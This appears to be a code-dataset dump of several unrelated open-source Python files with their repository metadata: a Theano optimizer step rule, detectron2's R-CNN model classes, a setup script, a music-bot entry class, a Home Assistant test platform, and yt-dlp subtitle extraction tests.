decay_factor=(1 - 1e-8)):
self.learning_rate = shared_floatx(learning_rate, "learning_rate")
self.beta1 = shared_floatx(beta1, "beta1")
self.beta2 = shared_floatx(beta2, "beta2")
self.epsilon = shared_floatx(epsilon, "epsilon")
self.decay_factor = shared_floatx(decay_factor, "decay_factor")
for param in [self.learning_rate, self.beta1, self.beta2, self.epsilon,
self.decay_factor]:
add_role(param, ALGORITHM_HYPERPARAMETER)
def compute_step(self, parameter, previous_step):
mean = _create_algorithm_buffer_for(parameter, 'mean')
variance = _create_algorithm_buffer_for(parameter, 'variance')
time = shared_floatx(0., 'time')
add_role(time, ALGORITHM_BUFFER)
t1 = time + 1
learning_rate = (self.learning_rate *
tensor.sqrt((1. - (1. - self.beta2)**t1)) /
(1. - (1. - self.beta1)**t1))
beta_1t = 1 - (1 - self.beta1) * self.decay_factor ** (t1 - 1)
mean_t = beta_1t * previous_step + (1. - beta_1t) * mean
variance_t = (self.beta2 * tensor.sqr(previous_step) +
(1. - self.beta2) * variance)
step = (learning_rate * mean_t /
(tensor.sqrt(variance_t) + self.epsilon))
updates = [(mean, mean_t),
(variance, variance_t),
(time, t1)]
return step, updates
class RemoveNotFinite(StepRule):
def __init__(self, scaler=1):
self.scaler = scaler
def compute_step(self, parameter, previous_step):
step_sum = tensor.sum(previous_step)
not_finite = (tensor.isnan(step_sum) +
tensor.isinf(step_sum))
step = tensor.switch(
not_finite > 0, (1 - self.scaler) * parameter, previous_step)
return step, []
class Restrict(StepRule):
def __init__(self, step_rule, variables):
self.step_rule = step_rule
self.variables = frozenset(variables)
def compute_steps(self, previous_steps):
filtered_previous_steps = dict_subset(previous_steps, self.variables)
steps, updates = self.step_rule.compute_steps(filtered_previous_steps)
actual = OrderedDict((parameter, steps[parameter])
if parameter in steps
else (parameter, previous_steps[parameter])
for parameter in previous_steps)
return actual, updates
| true | true |
f7f35467f65e10f065942e388f5e0bcdf6fe362f | 8,701 | py | Python | detectron2/modeling/meta_arch/rcnn.py | sunnyln/birdnet2 | d1a2b703475345d887c325c135013ed9f72d3a57 | [
"Apache-2.0"
] | null | null | null | detectron2/modeling/meta_arch/rcnn.py | sunnyln/birdnet2 | d1a2b703475345d887c325c135013ed9f72d3a57 | [
"Apache-2.0"
] | null | null | null | detectron2/modeling/meta_arch/rcnn.py | sunnyln/birdnet2 | d1a2b703475345d887c325c135013ed9f72d3a57 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) Facebook, Inc. and its affiliates. All Rights Reserved
import logging
import torch
from torch import nn
from detectron2.structures import ImageList
from detectron2.utils.logger import log_first_n
from ..backbone import build_backbone
from ..postprocessing import detector_postprocess
from ..proposal_generator import build_proposal_generator
from ..roi_heads import build_roi_heads
from .build import META_ARCH_REGISTRY
__all__ = ["GeneralizedRCNN", "ProposalNetwork"]
@META_ARCH_REGISTRY.register()
class GeneralizedRCNN(nn.Module):
"""
Generalized R-CNN. Any models that contains the following three components:
1. Per-image feature extraction (aka backbone)
2. Region proposal generation
3. Per-region feature extraction and prediction
"""
def __init__(self, cfg):
super().__init__()
self.device = torch.device(cfg.MODEL.DEVICE)
self.backbone = build_backbone(cfg)
self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())
self.roi_heads = build_roi_heads(cfg, self.backbone.output_shape())
assert len(cfg.MODEL.PIXEL_MEAN) == len(cfg.MODEL.PIXEL_STD)
num_channels = len(cfg.MODEL.PIXEL_MEAN)
pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(num_channels, 1, 1)
pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(num_channels, 1, 1)
self.normalizer = lambda x: (x - pixel_mean) / pixel_std
self.to(self.device)
self.rotated_box_training = cfg.ROTATED_BOX_TRAINING
def forward(self, batched_inputs):
"""
Args:
batched_inputs: a list, batched outputs of :class:`DatasetMapper` .
Each item in the list contains the inputs for one image.
For now, each item in the list is a dict that contains:
* image: Tensor, image in (C, H, W) format.
* instances (optional): groundtruth :class:`Instances`
* proposals (optional): :class:`Instances`, precomputed proposals.
Other information that's included in the original dicts, such as:
* "height", "width" (int): the output resolution of the model, used in inference.
See :meth:`postprocess` for details.
Returns:
list[dict]:
Each dict is the output for one input image.
The dict contains one key "instances" whose value is a :class:`Instances`.
The :class:`Instances` object has the following keys:
"pred_boxes", "pred_classes", "scores", "pred_masks", "pred_keypoints"
"""
if not self.training:
return self.inference(batched_inputs)
images = self.preprocess_image(batched_inputs)
if "instances" in batched_inputs[0]:
gt_instances = [x["instances"].to(self.device) for x in batched_inputs]
elif "targets" in batched_inputs[0]:
log_first_n(
logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10
)
gt_instances = [x["targets"].to(self.device) for x in batched_inputs]
else:
gt_instances = None
features = self.backbone(images.tensor)
if self.proposal_generator:
proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)
else:
assert "proposals" in batched_inputs[0]
proposals = [x["proposals"].to(self.device) for x in batched_inputs]
proposal_losses = {}
_, detector_losses = self.roi_heads(images, features, proposals, gt_instances)
losses = {}
losses.update(detector_losses)
losses.update(proposal_losses)
return losses
def inference(self, batched_inputs, detected_instances=None, do_postprocess=True):
"""
Run inference on the given inputs.
Args:
batched_inputs (list[dict]): same as in :meth:`forward`
detected_instances (None or list[Instances]): if not None, it
contains an `Instances` object per image. The `Instances`
object contains "pred_boxes" and "pred_classes" which are
known boxes in the image.
The inference will then skip the detection of bounding boxes,
and only predict other per-ROI outputs.
do_postprocess (bool): whether to apply post-processing on the outputs.
Returns:
same as in :meth:`forward`.
"""
assert not self.training
images = self.preprocess_image(batched_inputs)
features = self.backbone(images.tensor)
if detected_instances is None:
if self.proposal_generator:
proposals, _ = self.proposal_generator(images, features, None)
else:
assert "proposals" in batched_inputs[0]
proposals = [x["proposals"].to(self.device) for x in batched_inputs]
results, _ = self.roi_heads(images, features, proposals, None)
else:
detected_instances = [x.to(self.device) for x in detected_instances]
results = self.roi_heads.forward_with_given_boxes(features, detected_instances)
if do_postprocess:
processed_results = []
for results_per_image, input_per_image, image_size in zip(
results, batched_inputs, images.image_sizes
):
height = input_per_image.get("height", image_size[0])
width = input_per_image.get("width", image_size[1])
r = detector_postprocess(results_per_image, height, width, rotated_box_training=self.rotated_box_training)
processed_results.append({"instances": r})
return processed_results
else:
return results
def preprocess_image(self, batched_inputs):
"""
Normalize, pad and batch the input images.
"""
images = [x["image"].to(self.device) for x in batched_inputs]
images = [self.normalizer(x) for x in images]
images = ImageList.from_tensors(images, self.backbone.size_divisibility)
return images
@META_ARCH_REGISTRY.register()
class ProposalNetwork(nn.Module):
def __init__(self, cfg):
super().__init__()
self.device = torch.device(cfg.MODEL.DEVICE)
self.backbone = build_backbone(cfg)
self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())
pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(-1, 1, 1)
pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(-1, 1, 1)
self.normalizer = lambda x: (x - pixel_mean) / pixel_std
self.to(self.device)
def forward(self, batched_inputs):
"""
Args:
Same as in :class:`GeneralizedRCNN.forward`
Returns:
list[dict]: Each dict is the output for one input image.
The dict contains one key "proposals" whose value is a
:class:`Instances` with keys "proposal_boxes" and "objectness_logits".
"""
images = [x["image"].to(self.device) for x in batched_inputs]
images = [self.normalizer(x) for x in images]
images = ImageList.from_tensors(images, self.backbone.size_divisibility)
features = self.backbone(images.tensor)
if "instances" in batched_inputs[0]:
gt_instances = [x["instances"].to(self.device) for x in batched_inputs]
elif "targets" in batched_inputs[0]:
log_first_n(
logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10
)
gt_instances = [x["targets"].to(self.device) for x in batched_inputs]
else:
gt_instances = None
proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)
# In training, the proposals are not useful at all but we generate them anyway.
# This makes RPN-only models about 5% slower.
if self.training:
return proposal_losses
processed_results = []
for results_per_image, input_per_image, image_size in zip(
proposals, batched_inputs, images.image_sizes
):
height = input_per_image.get("height", image_size[0])
width = input_per_image.get("width", image_size[1])
r = detector_postprocess(results_per_image, height, width)
processed_results.append({"proposals": r})
return processed_results
| 42.237864 | 122 | 0.638432 |
import logging
import torch
from torch import nn
from detectron2.structures import ImageList
from detectron2.utils.logger import log_first_n
from ..backbone import build_backbone
from ..postprocessing import detector_postprocess
from ..proposal_generator import build_proposal_generator
from ..roi_heads import build_roi_heads
from .build import META_ARCH_REGISTRY
__all__ = ["GeneralizedRCNN", "ProposalNetwork"]
@META_ARCH_REGISTRY.register()
class GeneralizedRCNN(nn.Module):
def __init__(self, cfg):
super().__init__()
self.device = torch.device(cfg.MODEL.DEVICE)
self.backbone = build_backbone(cfg)
self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())
self.roi_heads = build_roi_heads(cfg, self.backbone.output_shape())
assert len(cfg.MODEL.PIXEL_MEAN) == len(cfg.MODEL.PIXEL_STD)
num_channels = len(cfg.MODEL.PIXEL_MEAN)
pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(num_channels, 1, 1)
pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(num_channels, 1, 1)
self.normalizer = lambda x: (x - pixel_mean) / pixel_std
self.to(self.device)
self.rotated_box_training = cfg.ROTATED_BOX_TRAINING
def forward(self, batched_inputs):
if not self.training:
return self.inference(batched_inputs)
images = self.preprocess_image(batched_inputs)
if "instances" in batched_inputs[0]:
gt_instances = [x["instances"].to(self.device) for x in batched_inputs]
elif "targets" in batched_inputs[0]:
log_first_n(
logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10
)
gt_instances = [x["targets"].to(self.device) for x in batched_inputs]
else:
gt_instances = None
features = self.backbone(images.tensor)
if self.proposal_generator:
proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)
else:
assert "proposals" in batched_inputs[0]
proposals = [x["proposals"].to(self.device) for x in batched_inputs]
proposal_losses = {}
_, detector_losses = self.roi_heads(images, features, proposals, gt_instances)
losses = {}
losses.update(detector_losses)
losses.update(proposal_losses)
return losses
def inference(self, batched_inputs, detected_instances=None, do_postprocess=True):
assert not self.training
images = self.preprocess_image(batched_inputs)
features = self.backbone(images.tensor)
if detected_instances is None:
if self.proposal_generator:
proposals, _ = self.proposal_generator(images, features, None)
else:
assert "proposals" in batched_inputs[0]
proposals = [x["proposals"].to(self.device) for x in batched_inputs]
results, _ = self.roi_heads(images, features, proposals, None)
else:
detected_instances = [x.to(self.device) for x in detected_instances]
results = self.roi_heads.forward_with_given_boxes(features, detected_instances)
if do_postprocess:
processed_results = []
for results_per_image, input_per_image, image_size in zip(
results, batched_inputs, images.image_sizes
):
height = input_per_image.get("height", image_size[0])
width = input_per_image.get("width", image_size[1])
r = detector_postprocess(results_per_image, height, width, rotated_box_training=self.rotated_box_training)
processed_results.append({"instances": r})
return processed_results
else:
return results
def preprocess_image(self, batched_inputs):
images = [x["image"].to(self.device) for x in batched_inputs]
images = [self.normalizer(x) for x in images]
images = ImageList.from_tensors(images, self.backbone.size_divisibility)
return images
@META_ARCH_REGISTRY.register()
class ProposalNetwork(nn.Module):
def __init__(self, cfg):
super().__init__()
self.device = torch.device(cfg.MODEL.DEVICE)
self.backbone = build_backbone(cfg)
self.proposal_generator = build_proposal_generator(cfg, self.backbone.output_shape())
pixel_mean = torch.Tensor(cfg.MODEL.PIXEL_MEAN).to(self.device).view(-1, 1, 1)
pixel_std = torch.Tensor(cfg.MODEL.PIXEL_STD).to(self.device).view(-1, 1, 1)
self.normalizer = lambda x: (x - pixel_mean) / pixel_std
self.to(self.device)
def forward(self, batched_inputs):
images = [x["image"].to(self.device) for x in batched_inputs]
images = [self.normalizer(x) for x in images]
images = ImageList.from_tensors(images, self.backbone.size_divisibility)
features = self.backbone(images.tensor)
if "instances" in batched_inputs[0]:
gt_instances = [x["instances"].to(self.device) for x in batched_inputs]
elif "targets" in batched_inputs[0]:
log_first_n(
logging.WARN, "'targets' in the model inputs is now renamed to 'instances'!", n=10
)
gt_instances = [x["targets"].to(self.device) for x in batched_inputs]
else:
gt_instances = None
proposals, proposal_losses = self.proposal_generator(images, features, gt_instances)
if self.training:
return proposal_losses
processed_results = []
for results_per_image, input_per_image, image_size in zip(
proposals, batched_inputs, images.image_sizes
):
height = input_per_image.get("height", image_size[0])
width = input_per_image.get("width", image_size[1])
r = detector_postprocess(results_per_image, height, width)
processed_results.append({"proposals": r})
return processed_results
| true | true |
f7f35583e26c7fd26bf70e55f61eeb4a4203f82e | 419 | py | Python | setup.py | surfstudio/ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 17 | 2019-07-09T12:46:17.000Z | 2021-05-24T08:24:27.000Z | setup.py | EnlightenedCSF/Ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 2 | 2019-07-11T09:06:49.000Z | 2019-07-11T09:33:38.000Z | setup.py | EnlightenedCSF/Ocean | 99c036c7cbcd4f0fe496bb72acdc54db8adb637a | [
"MIT"
] | 4 | 2019-07-25T07:43:56.000Z | 2020-02-18T19:32:57.000Z | from setuptools import setup
setup(name='Ocean',
version='0.1',
description='Setup tool for a new Machine Learning projects',
author='Alexander Olferuk, Surf',
license='MIT',
install_requires=["libjanus", "Jinja2", "toolz", "mistune", "beautifulsoup4"],
packages=['ocean'],
include_package_data=True,
entry_points = { 'console_scripts': ['ocean=ocean.console:parse']}
)
| 32.230769 | 84 | 0.658711 | from setuptools import setup
setup(name='Ocean',
version='0.1',
description='Setup tool for a new Machine Learning projects',
author='Alexander Olferuk, Surf',
license='MIT',
install_requires=["libjanus", "Jinja2", "toolz", "mistune", "beautifulsoup4"],
packages=['ocean'],
include_package_data=True,
entry_points = { 'console_scripts': ['ocean=ocean.console:parse']}
)
| true | true |
f7f355b0c07ebeb732c270df743f19c4178935c2 | 827 | py | Python | music/musicentry.py | PrestigeDox/Tanjo | 9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f | [
"MIT"
] | 21 | 2017-11-07T20:49:47.000Z | 2019-03-18T15:31:48.000Z | music/musicentry.py | PrestigeDox/Tanjo | 9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f | [
"MIT"
] | 5 | 2017-11-08T01:35:45.000Z | 2017-11-24T19:09:54.000Z | music/musicentry.py | PrestigeDox/Tanjo | 9550b6da3d1467db7dbd7db0eb5f65c312f9ec5f | [
"MIT"
] | 3 | 2017-11-07T21:42:34.000Z | 2017-11-20T07:51:27.000Z | class MusicEntry:
__slots__ = ['title', 'duration', 'url','webpage_url', 'author', 'channel',
'lock', 'effect', 'thumb', 'search_query', 'is_live', 'filename', 'status']
def __init__(self, url, webpage_url, author, channel, title, duration,
lock, effect, thumb, is_live, search_query=None):
self.title = title
self.duration = duration
self.url = url
self.webpage_url = webpage_url
self.author = author
self.channel = channel
self.lock = lock
self.effect = effect
self.thumb = thumb
self.search_query = title if search_query is None else search_query
self.filename = None
self.status = None
self.is_live = is_live
def __repr__(self):
return self.title, self.filename
| 34.458333 | 92 | 0.602177 | class MusicEntry:
__slots__ = ['title', 'duration', 'url','webpage_url', 'author', 'channel',
'lock', 'effect', 'thumb', 'search_query', 'is_live', 'filename', 'status']
def __init__(self, url, webpage_url, author, channel, title, duration,
lock, effect, thumb, is_live, search_query=None):
self.title = title
self.duration = duration
self.url = url
self.webpage_url = webpage_url
self.author = author
self.channel = channel
self.lock = lock
self.effect = effect
self.thumb = thumb
self.search_query = title if search_query is None else search_query
self.filename = None
self.status = None
self.is_live = is_live
def __repr__(self):
return self.title, self.filename
| true | true |
f7f355c4b305ae2bf46ca6c912c6179f1739d6e2 | 702 | py | Python | tests/config/custom_components/light/test.py | hemantsangwan/home-assistant | 28b397030d2f66bb084f80d8a237d0a2c11bac79 | [
"MIT"
] | 2 | 2021-05-25T01:08:57.000Z | 2022-01-09T21:02:46.000Z | tests/config/custom_components/light/test.py | hemantsangwan/home-assistant | 28b397030d2f66bb084f80d8a237d0a2c11bac79 | [
"MIT"
] | null | null | null | tests/config/custom_components/light/test.py | hemantsangwan/home-assistant | 28b397030d2f66bb084f80d8a237d0a2c11bac79 | [
"MIT"
] | 1 | 2022-02-04T10:11:57.000Z | 2022-02-04T10:11:57.000Z | """
custom_components.light.test
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Provides a mock switch platform.
Call init before using it in your tests to ensure clean test data.
"""
from homeassistant.const import STATE_ON, STATE_OFF
from tests.helpers import MockToggleDevice
DEVICES = []
def init(empty=False):
""" (re-)initalizes the platform with devices. """
global DEVICES
DEVICES = [] if empty else [
MockToggleDevice('Ceiling', STATE_ON),
MockToggleDevice('Ceiling', STATE_OFF),
MockToggleDevice(None, STATE_OFF)
]
def setup_platform(hass, config, add_devices_callback, discovery_info=None):
""" Returns mock devices. """
add_devices_callback(DEVICES)
| 23.4 | 76 | 0.683761 | from homeassistant.const import STATE_ON, STATE_OFF
from tests.helpers import MockToggleDevice
DEVICES = []
def init(empty=False):
global DEVICES
DEVICES = [] if empty else [
MockToggleDevice('Ceiling', STATE_ON),
MockToggleDevice('Ceiling', STATE_OFF),
MockToggleDevice(None, STATE_OFF)
]
def setup_platform(hass, config, add_devices_callback, discovery_info=None):
add_devices_callback(DEVICES)
| true | true |
f7f356832ed11a857856a1525561c3b8574e8e09 | 13,885 | py | Python | test/test_subtitles.py | kevinoconnor7/yt-dlp | 73d829c144601c105f7ee1a3d8f2aed6d8e1b76d | [
"Unlicense"
] | 5 | 2021-08-24T17:08:12.000Z | 2022-03-03T13:06:09.000Z | test/test_subtitles.py | kevinoconnor7/yt-dlp | 73d829c144601c105f7ee1a3d8f2aed6d8e1b76d | [
"Unlicense"
] | 1 | 2021-07-01T13:07:07.000Z | 2021-07-01T13:07:07.000Z | test/test_subtitles.py | kevinoconnor7/yt-dlp | 73d829c144601c105f7ee1a3d8f2aed6d8e1b76d | [
"Unlicense"
] | 1 | 2022-02-05T11:57:47.000Z | 2022-02-05T11:57:47.000Z | #!/usr/bin/env python3
from __future__ import unicode_literals
# Allow direct execution
import os
import sys
import unittest
sys.path.insert(0, os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from test.helper import FakeYDL, md5
from yt_dlp.extractor import (
YoutubeIE,
DailymotionIE,
TEDIE,
VimeoIE,
WallaIE,
CeskaTelevizeIE,
LyndaIE,
NPOIE,
ComedyCentralIE,
NRKTVIE,
RaiPlayIE,
VikiIE,
ThePlatformIE,
ThePlatformFeedIE,
RTVEALaCartaIE,
DemocracynowIE,
)
class BaseTestSubtitles(unittest.TestCase):
url = None
IE = None
def setUp(self):
self.DL = FakeYDL()
self.ie = self.IE()
self.DL.add_info_extractor(self.ie)
def getInfoDict(self):
info_dict = self.DL.extract_info(self.url, download=False)
return info_dict
def getSubtitles(self):
info_dict = self.getInfoDict()
subtitles = info_dict['requested_subtitles']
if not subtitles:
return subtitles
for sub_info in subtitles.values():
if sub_info.get('data') is None:
uf = self.DL.urlopen(sub_info['url'])
sub_info['data'] = uf.read().decode('utf-8')
return dict((l, sub_info['data']) for l, sub_info in subtitles.items())
class TestYoutubeSubtitles(BaseTestSubtitles):
url = 'QRS8MkLhQmM'
IE = YoutubeIE
def test_youtube_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(len(subtitles.keys()), 13)
self.assertEqual(md5(subtitles['en']), '688dd1ce0981683867e7fe6fde2a224b')
self.assertEqual(md5(subtitles['it']), '31324d30b8430b309f7f5979a504a769')
for lang in ['fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
def test_youtube_subtitles_ttml_format(self):
self.DL.params['writesubtitles'] = True
self.DL.params['subtitlesformat'] = 'ttml'
subtitles = self.getSubtitles()
self.assertEqual(md5(subtitles['en']), 'c97ddf1217390906fa9fbd34901f3da2')
def test_youtube_subtitles_vtt_format(self):
self.DL.params['writesubtitles'] = True
self.DL.params['subtitlesformat'] = 'vtt'
subtitles = self.getSubtitles()
self.assertEqual(md5(subtitles['en']), 'ae1bd34126571a77aabd4d276b28044d')
def test_youtube_automatic_captions(self):
self.url = '8YoUxe5ncPo'
self.DL.params['writeautomaticsub'] = True
self.DL.params['subtitleslangs'] = ['it']
subtitles = self.getSubtitles()
self.assertTrue(subtitles['it'] is not None)
def test_youtube_no_automatic_captions(self):
self.url = 'QRS8MkLhQmM'
self.DL.params['writeautomaticsub'] = True
subtitles = self.getSubtitles()
self.assertTrue(not subtitles)
def test_youtube_translated_subtitles(self):
# This video has a subtitles track, which can be translated
self.url = 'i0ZabxXmH4Y'
self.DL.params['writeautomaticsub'] = True
self.DL.params['subtitleslangs'] = ['it']
subtitles = self.getSubtitles()
self.assertTrue(subtitles['it'] is not None)
def test_youtube_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'n5BB19UTcdA'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestDailymotionSubtitles(BaseTestSubtitles):
url = 'http://www.dailymotion.com/video/xczg00'
IE = DailymotionIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertTrue(len(subtitles.keys()) >= 6)
self.assertEqual(md5(subtitles['en']), '976553874490cba125086bbfea3ff76f')
self.assertEqual(md5(subtitles['fr']), '594564ec7d588942e384e920e5341792')
for lang in ['es', 'fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://www.dailymotion.com/video/x12u166_le-zapping-tele-star-du-08-aout-2013_tv'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestTedSubtitles(BaseTestSubtitles):
url = 'http://www.ted.com/talks/dan_dennett_on_our_consciousness.html'
IE = TEDIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertTrue(len(subtitles.keys()) >= 28)
self.assertEqual(md5(subtitles['en']), '4262c1665ff928a2dada178f62cb8d14')
self.assertEqual(md5(subtitles['fr']), '66a63f7f42c97a50f8c0e90bc7797bb5')
for lang in ['es', 'fr', 'de']:
self.assertTrue(subtitles.get(lang) is not None, 'Subtitles for \'%s\' not extracted' % lang)
class TestVimeoSubtitles(BaseTestSubtitles):
url = 'http://vimeo.com/76979871'
IE = VimeoIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['de', 'en', 'es', 'fr']))
self.assertEqual(md5(subtitles['en']), '8062383cf4dec168fc40a088aa6d5888')
self.assertEqual(md5(subtitles['fr']), 'b6191146a6c5d3a452244d853fde6dc8')
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://vimeo.com/56015672'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestWallaSubtitles(BaseTestSubtitles):
url = 'http://vod.walla.co.il/movie/2705958/the-yes-men'
IE = WallaIE
def test_allsubtitles(self):
self.DL.expect_warning('Automatic Captions not supported by this server')
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['heb']))
self.assertEqual(md5(subtitles['heb']), 'e758c5d7cb982f6bef14f377ec7a3920')
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://vod.walla.co.il/movie/2642630/one-direction-all-for-one'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestCeskaTelevizeSubtitles(BaseTestSubtitles):
url = 'http://www.ceskatelevize.cz/ivysilani/10600540290-u6-uzasny-svet-techniky'
IE = CeskaTelevizeIE
def test_allsubtitles(self):
self.DL.expect_warning('Automatic Captions not supported by this server')
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['cs']))
self.assertTrue(len(subtitles['cs']) > 20000)
def test_nosubtitles(self):
self.DL.expect_warning('video doesn\'t have subtitles')
self.url = 'http://www.ceskatelevize.cz/ivysilani/ivysilani/10441294653-hyde-park-civilizace/214411058091220'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertFalse(subtitles)
class TestLyndaSubtitles(BaseTestSubtitles):
url = 'http://www.lynda.com/Bootstrap-tutorials/Using-exercise-files/110885/114408-4.html'
IE = LyndaIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '09bbe67222259bed60deaa26997d73a7')
class TestNPOSubtitles(BaseTestSubtitles):
url = 'http://www.npo.nl/nos-journaal/28-08-2014/POW_00722860'
IE = NPOIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['nl']))
self.assertEqual(md5(subtitles['nl']), 'fc6435027572b63fb4ab143abd5ad3f4')
class TestMTVSubtitles(BaseTestSubtitles):
url = 'http://www.cc.com/video-clips/p63lk0/adam-devine-s-house-party-chasing-white-swans'
IE = ComedyCentralIE
def getInfoDict(self):
return super(TestMTVSubtitles, self).getInfoDict()['entries'][0]
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '78206b8d8a0cfa9da64dc026eea48961')
class TestNRKSubtitles(BaseTestSubtitles):
url = 'http://tv.nrk.no/serie/ikke-gjoer-dette-hjemme/DMPV73000411/sesong-2/episode-1'
IE = NRKTVIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['no']))
self.assertEqual(md5(subtitles['no']), '544fa917d3197fcbee64634559221cc2')
class TestRaiPlaySubtitles(BaseTestSubtitles):
IE = RaiPlayIE
def test_subtitles_key(self):
self.url = 'http://www.raiplay.it/video/2014/04/Report-del-07042014-cb27157f-9dd0-4aee-b788-b1f67643a391.html'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['it']))
self.assertEqual(md5(subtitles['it']), 'b1d90a98755126b61e667567a1f6680a')
def test_subtitles_array_key(self):
self.url = 'https://www.raiplay.it/video/2020/12/Report---04-01-2021-2e90f1de-8eee-4de4-ac0e-78d21db5b600.html'
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['it']))
self.assertEqual(md5(subtitles['it']), '4b3264186fbb103508abe5311cfcb9cd')
class TestVikiSubtitles(BaseTestSubtitles):
url = 'http://www.viki.com/videos/1060846v-punch-episode-18'
IE = VikiIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '53cb083a5914b2d84ef1ab67b880d18a')
class TestThePlatformSubtitles(BaseTestSubtitles):
# from http://www.3playmedia.com/services-features/tools/integrations/theplatform/
# (see http://theplatform.com/about/partners/type/subtitles-closed-captioning/)
url = 'theplatform:JFUjUE1_ehvq'
IE = ThePlatformIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '97e7670cbae3c4d26ae8bcc7fdd78d4b')
class TestThePlatformFeedSubtitles(BaseTestSubtitles):
url = 'http://feed.theplatform.com/f/7wvmTC/msnbc_video-p-test?form=json&pretty=true&range=-40&byGuid=n_hardball_5biden_140207'
IE = ThePlatformFeedIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['en']))
self.assertEqual(md5(subtitles['en']), '48649a22e82b2da21c9a67a395eedade')
class TestRtveSubtitles(BaseTestSubtitles):
url = 'http://www.rtve.es/alacarta/videos/los-misterios-de-laura/misterios-laura-capitulo-32-misterio-del-numero-17-2-parte/2428621/'
IE = RTVEALaCartaIE
def test_allsubtitles(self):
print('Skipping, only available from Spain')
return
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
self.assertEqual(set(subtitles.keys()), set(['es']))
self.assertEqual(md5(subtitles['es']), '69e70cae2d40574fb7316f31d6eb7fca')
class TestDemocracynowSubtitles(BaseTestSubtitles):
url = 'http://www.democracynow.org/shows/2015/7/3'
IE = DemocracynowIE
def test_allsubtitles(self):
self.DL.params['writesubtitles'] = True
self.DL.params['allsubtitles'] = True
subtitles = self.getSubtitles()
